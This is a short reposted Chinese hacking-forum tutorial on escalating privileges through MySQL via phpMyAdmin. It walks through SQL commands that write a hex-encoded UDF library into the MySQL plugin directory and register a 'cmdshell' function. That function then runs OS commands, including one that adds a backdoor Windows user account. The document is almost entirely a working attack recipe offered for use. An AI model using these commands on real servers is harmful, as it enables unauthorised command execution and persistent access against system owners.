//觉得很典型的案例,就转载过来了。很多时候phpmyadmin都需要路劲才能写shell。否则拿到了myadmin也是无奈。
查看mysql版本
select version();
版本是5.1
大家都知道mysql udf提权 5.0以下的要导出到c:windows或者c:windowssystem32目录下
而5.1必须要导出到mysql安装目录下的libplugin目录下 我们怎么知道Mysql安装目录呢?
执行
select @@basedir;
得出mysql安装路径
C:PHPnow-1.5.6MySQL-5.1.50
由于是mysql版本5.1的 所以要导出到C:PHPnow-1.5.6MySQL-5.1.50libplugin目录下
然后执行
CREATE TABLE udftest(udf BLOB); //创建一个临时表
然后把udf.dll转换为hex代码 然后插到这个表里面
执行SQL:
INSERT into udftest values (CONVERT(这里换成你的UDF的HEX编码,CHAR));
然后导出udf
SELECT udf FROM udftest INTO DUMPFILE 'C:\PHPnow-1.5.6\MySQL-5.1.50\lib\plugin\udf.dll';--
这里后面一定要带--的注释符否则会不成功!我在这里纠结了半个小时,还好有百度 --!
导出成功了 删除掉临时表
执行DROP TABLE udftest;
然后创建CMDSHELL函数
create function cmdshell returns string soname 'udf.dll'
然后执行
select cmdshell('net user');
你会发现不回显内容,只需把那个显示BLOB内容勾选上九OK了
看一下效果。
乱码不用管,直接添加个用户试试
select cmdshell('net user f4ck 123456 /add');
OK,我们来看一下加上去了没有。
原文转载于:http://www.hack80.com/forum.php?mod=viewthread&tid=1304